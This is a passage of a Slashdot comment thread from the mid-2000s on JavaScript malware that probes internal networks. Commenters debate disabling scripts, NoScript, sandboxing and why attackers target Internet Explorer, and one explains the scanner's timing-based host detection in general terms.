I think the real concern here is facility networks more than home users. If the facility users are allowed to access the Internet, and javascript is permitted by the browsers, there's an open pipeline right past whatever front end filtering is in place. I doubt it will be very practical to scan every block of javascript coming into the building for malicious code.

And how about Javascript embedded in that mother of all bad ideas -- HTML eMail?

Missing the point (3, Interesting)

Minwee (522556) | more than 8 years ago | (#15810835)

"Users could turn off JavaScript, which really isn't a solution because so many Web sites rely on it."

Yes it is. Users could also politely point out to the authors and administrators of the majority of web sites which rely on javascript that they really, absolutely, positively don't need it. You don't need javascript to open a link to another page. You don't need javascript to open an image in a gallery. You don't need javascript to submit a username and password. You just don't need it. I would say that using scripted actions for that is lazy and stupid, but it actually involves a good deal more work than using proper HTML. That makes it just plain stupid.

For the rare applications which actually require javascript and don't just use it as some kind of prostetic weiner replacement there is always the option of enabling scripting on a site by site basis. Turning scripting on for http://trusted.internal.site.on.your.local.net/ [local.net] but not for http://random.russian.warez.and.porn.site/ [porn.site] really is a solution.

Re:Missing the point (1)

Dachannien (617929) | more than 8 years ago | (#15810929)

There are some cases where it makes delivery of dynamic content a bit easier by offloading some of the processing to the client, but I'm convinced that a large part of the reason some sites use Javascript is to make it harder to deeplink their site. Sort of like the old disabling-context-menus trick, which, by the way, I'm really glad doesn't work in Firefox (the dialog box saying it's disabled still pops up, but you also still get the context menu).

You don't need it - you want it. (4, Insightful)

gnuman99 (746007) | more than 8 years ago | (#15811427)

You don't need javascript to open a link to another page. You don't need javascript to open an image in a gallery. You don't need javascript to submit a username and password. You just don't need it.

You don't need it - you want it. You want it to make the entire web experience better.

From a security standpoint, everyone should be on lynx or similar browser. From the user standpoint, Javascript is essential (see maps.google.com, or gmail) for a good web experience. Images are fundamental. Web is not static HTML any more. We now live in the world of DHTML and security is just going to have to deal with it.

Javascript is broken if it allows you to access other than non-remote resources (ie. from original website) and some settings available to it from the browser (windows size, etc..). That's what it is there for and other uses should be disabled. We already see it with the JS popup blockers. Similar security for network accesses should suffice.

Similarly with Java, Flash and other things.

Defaults (0)

Anonymous Coward | more than 8 years ago | (#15810842)

JavaScript malware can be just as easily contained as a large number of other malware can: careful watch of what the user's actual needs are. I deny all javascript by default, and if I absolutely MUST use it, enable it per session (in Firefox). This is another issue where ease of use is the real culprit, rather than a fundamental weakness. Compare this to the WMF issues, which do constitute a fundamental weakness. Javascript is behaving as it should, as is your browser. Many people deride such arguments with the idea that most people are not interested/savvy enough to look after such things, but this is no excuse. It takes comparatively little time to find a quick and easy solution to javascript malware, and this hardly requires a deep understanding of javascript....

Sandbox web-enabled applications (1)

davidwr (791652) | more than 8 years ago | (#15810865)

Oses or third parties now have an opportunity:

Sandbox web-enabled applications, either individually or as a set.

Even better: Sandbox sessions. Any address I type into my web browser, any link I open from a saved bookmark, or any link I open with a "open in new sandbox" command, gets a new sandbox.

For home users, sandboxes get access to just the default gateway, they can't touch 127.0.0.1 or 192.168.1.x. They get read-only access to parts of the filesystem, such as where Java applets are stored, and read-write access to their own temporary space and, optionally, a directory where users can save files by hand. Alternatively they may get "dropbox"/read-directories/write-files access to other parts of the filesystem, such as directories the current user can write to.

Re:Sandbox web-enabled applications (0)

Anonymous Coward | more than 8 years ago | (#15810913)

Alternatively they may get "dropbox"/read-directories/write-files access to other parts of the filesystem, such as directories the current user can write to.

You use unix, I use unix, but Mr & Mrs joe six use Windows with admin priviledges.

I suggest some kind of cross-browser extension mechanism replacing javascript served over HTTP with signed downloads, all handled by the browsers inbuilt update mechanism. Clean and secure, that's why the scumware contingent will never let it happen.

NCSA Mosaic avoids this problem (3, Funny)

shwonline (992049) | more than 8 years ago | (#15810869)

Ah, the simpler days of gray backgrounds and Times New Roman. None of these fancy tables, neither. And we had to walk 5 miles to school, uphill, in snow up to our hips. And 10 miles uphill to get back home. Kids today with their fancy JavaScript. No appreciation, none at all.

FIrefox NoScript? (2, Interesting)

kintarowins (820651) | more than 8 years ago | (#15810871)

How anyone can just not use a simple extension to block scripts, flash, java, etc like the Firefox NoScript extension is just confusing to me. People actually seem to want to run foreign applications on their system through sites which can quite easily load anything they want.

Make it clear to your family that the modern Internet is like the real world. Protecting your computer with either a secure Internet Explorer (eg: the default Windows 2003 IE config) or Mozilla Firefox (with the NoScript and CookieSafe) configuration is like leaving your car unlocked in a inner-suburb train station... It will get broken into!

For those affected by these issues: welcome to the real world. Grow up, plug in, learn what the hell your doing on this internet.

You should need a licence to even have an Internet Connection.

Detection of webserverless machines is unreliable (1)

makomk (752139) | more than 8 years ago | (#15810878)

The detection of IP addressed that aren't running webservers seems to depend entirely on the time taken for the request to fail - long delays are detected as non-existent IP addresses, whereas short ones are reported as IP addresses without a webserver. This doesn't always work - it seems to give false positives if the IP address is detected as nonexistent too quickly, and could give false negatives on slow or unreliable links.

In addition, if a machine has a webserver on it but requests for / give an error, it is detected as having no webserver. This gets particularly interesting with webservers that require HTTP authentication to access any page, and where the browser doesn't have the login stored: a password dialog pops up, and if you don't respond fast enough, the IP address is detected as non-existent. In addition, unless you enter the correct username and password, the machine is detected as not having a webserver.

Finally, although they can carry out whatever GET requests they like, the only information about the response they can get is whether the request succeeded or failed. (They could probably do POSTs too, but I'm not sure if they'd even be able to get that much information back).

The Cross Site Scripting FAQ (1)

mrkitty (584915) | more than 8 years ago | (#15810893)


Cross Site Scripting [cgisecurity.com] FAQ

your IP address is being broadcast (0)

Anonymous Coward | more than 8 years ago | (#15810903)


by every smtp server, in MS networks even the netbios name is broadcast in the smtp headers

who cares about about internal IPs, go on you can hack me at 192.168.0.1-192.168.100.0

Re:your IP address is being broadcast (0)

Anonymous Coward | more than 8 years ago | (#15810942)

> by every smtp server

Nope, that's a cheap way to map a corporate network. Internal IPs are stripped at our border MTAs, we add a custom backtrace hash for debugging.

HTH

wait till you see what flash can do (0)

Anonymous Coward | more than 8 years ago | (#15810951)


Spyware [mochibot.com] by any other name, cross site Flash access (so it can execute code) and flash cookies

Easy fix (0)

Anonymous Coward | more than 8 years ago | (#15810953)

With Firefox, enabling image loading ONLY for the original web site breaks the scanner (and hides 95% of the ads)

WAN computing has evolved in a bad way. (1)

master_p (608214) | more than 8 years ago | (#15811071)

Wide Area Network distributed computing has evolved in a bad way. Web standards are not designed for remote interactive applications and operating systems are not designed for executing remote code.

We just need to redesign the thing from the bottom up, now that we have learned the ups and downs.

Please kill JavaScript. (2, Insightful)

Anonymous Coward | more than 8 years ago | (#15811120)

The vast, vast majority of exploits involve JavaScript in one way or another. If it were possible to just "turn off" JavaScript world-wide overnight, the number of exploits would drop down substantially. Of course you would still have the "stupid user" problem, but you can only do so much to combat that.

As far as browsers are concerned, a large percentage of exploits are being written by / for criminal elements for profit. To this end, they maximize their profit potential by targeting the most prolific browser. For now, FireFox and others are relatively safe. We have seen a few things come out lately, but they are really just toys compared to what is out there for Internet Explorer. These people writing the exploits are, unfortunately, rather smart and clever. When it becomes econically feasible for them to target FireFox / Mozilla / whatever, make no mistake about it: they will. That is when we will see how secure that software really is.

This is where people bring up the IIS vs Apache argument. My only answer to that is that there is little money to be made in compromising web servers. There are a few cases of corporate espoionage, but most of the time it is ego-driven: defacement, spreading worms, etc. A competent webadmin will eventually discover the breach and fix the system, so there is not a long window of opportunity. Compromising millions of home users' PCs without them even knowing it is much better profit-wise; you can spam the shit out of anything pretty much with impunity, and people will pay you good money to do it. So these kinds of people target what they are familiar with: Microsoft. I think compatibility also plays a role. Any Windows server running IIS can run any Windows binary. This is patently untrue of Linux servers running Apache; there are so many different combinations of distributions, libraries, and architectures that binary compatibility is very small if it even exists. Microsoft is an easy target because it is such a monoculture.
Load More Comments
Slashdot Login

Need an Account?

Forgot your password?

Submission Text Formatting Tips

We support a small subset of HTML, namely these tags:

  • b
  • i
  • p
  • br
  • a
  • ol
  • ul
  • li
  • dl
  • dt
  • dd
  • em
  • strong
  • tt
  • blockquote
  • div
  • quote
  • ecode

"ecode" can be used for code snippets, for example:

<ecode>    while(1) { do_something(); } </ecode>